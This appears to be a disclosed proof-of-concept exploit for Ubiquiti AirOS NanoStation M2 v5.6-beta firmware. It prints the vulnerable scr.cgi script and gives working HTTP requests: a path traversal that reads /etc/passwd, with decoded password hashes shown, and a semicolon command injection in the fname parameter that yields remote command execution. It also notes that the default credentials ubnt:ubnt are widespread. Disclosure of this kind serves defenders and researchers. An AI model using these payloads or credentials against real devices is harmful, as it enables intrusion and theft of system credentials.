44 lines
No EOL
1.4 KiB
Text
44 lines
No EOL
1.4 KiB
Text
# AirOS NanoStation M2 v5.6-beta
|
|
# Arbitrary File Download & Remote Command Execution
|
|
# Tested on: XM.v5.6-beta5.24359.141008.1753 - Build: 2435
|
|
# Linux Awesome 2.6.32.63 #1 Wed Oct 8 17:54:30 EEST 2014 mips unknown
|
|
#
|
|
# Date: May 30, 2016
|
|
# Informer: Pablo Rebolini - <rebolini.pablo[x]gmail.com>
|
|
|
|
# Valid credentials are required !.
|
|
# Most of devices run default factory user/passwd combination (ubnt:ubnt)
|
|
|
|
# Take a look at /usr/www/scr.cgi
|
|
<?
|
|
include("lib/settings.inc");
|
|
include("lib/system.inc");
|
|
|
|
$filename = $fname + ".sh";
|
|
$file = $fname + $status;
|
|
|
|
header("Content-Type: application/force-download");
|
|
header("Content-Disposition: attachment; filename=" + $filename);
|
|
|
|
passthru("cat /tmp/persistent/$file");
|
|
exit;
|
|
|
|
|
|
# Arbitrary File Download
|
|
# Poc:
|
|
GET http://x.x.x.x/scr.cgi?fname=../../../../../etc/passwd%00&status=
|
|
|
|
Raw Response: dWJudDpWdnB2Q3doY2NGdjZROjA6MDpBZG1pbmlzdHJhdG9yOi9ldGMvcGVyc2lzdGVudDovYmluL3NoCm1jdXNlcjohVnZERThDMkVCMTowOjA6Oi9ldGMvcGVyc2lzdGVudC9tY3VzZXI6L2Jpbi9zaAo=
|
|
|
|
Base64 Decoded: ubnt:VvpvCwhccFv6Q:0:0:Administrator:/etc/persistent:/bin/sh
|
|
mcuser:!VvDE8C2EB1:0:0::/etc/persistent/mcuser:/bin/sh
|
|
|
|
|
|
# Remote Command Execution:
|
|
# Poc:
|
|
|
|
GET http://x.x.x.x/scr.cgi?fname=rc.poststart.sh;cat%20/etc/hosts%00&status=
|
|
|
|
Raw Response: MTI3LjAuMC4xCWxvY2FsaG9zdC5sb2NhbGRvbWFpbglsb2NhbGhvc3QK
|
|
|
|
Base64 Decoded: 127.0.0.1 localhost.localdomain localhost |